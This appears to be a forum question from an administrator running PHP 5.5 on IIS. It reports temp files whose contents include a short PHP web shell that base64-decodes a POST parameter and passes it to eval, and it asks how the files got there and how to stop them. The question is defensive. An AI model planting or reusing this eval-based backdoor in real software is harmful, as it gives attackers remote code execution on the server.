title: PHP code contained in phpXXXX.tmp files in temp directory
body: <p>I have noticed that our temp directory has a number of what appear to be temporary files with names like phpA3F9.tmp </p>
  
  <p>Looking into the contents I find a number followed by some PHP code, the following code appears in several files</p>
  
  <pre><code>9990000    
  &lt;?php 
      $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?&gt;
  </code></pre>
  
  <p>This appears to be an attack attempt, but I presume it relies on the attacker being able to execute the code in the tmp folder.</p>
  
  <p>Can anybody explain what is going on here?  What are the risks? How do these files get into the tmp folder?  And how do I stop them?</p>
  
  <p>I don't know if it is relevant but we are running PHP 5.5 on IIS</p>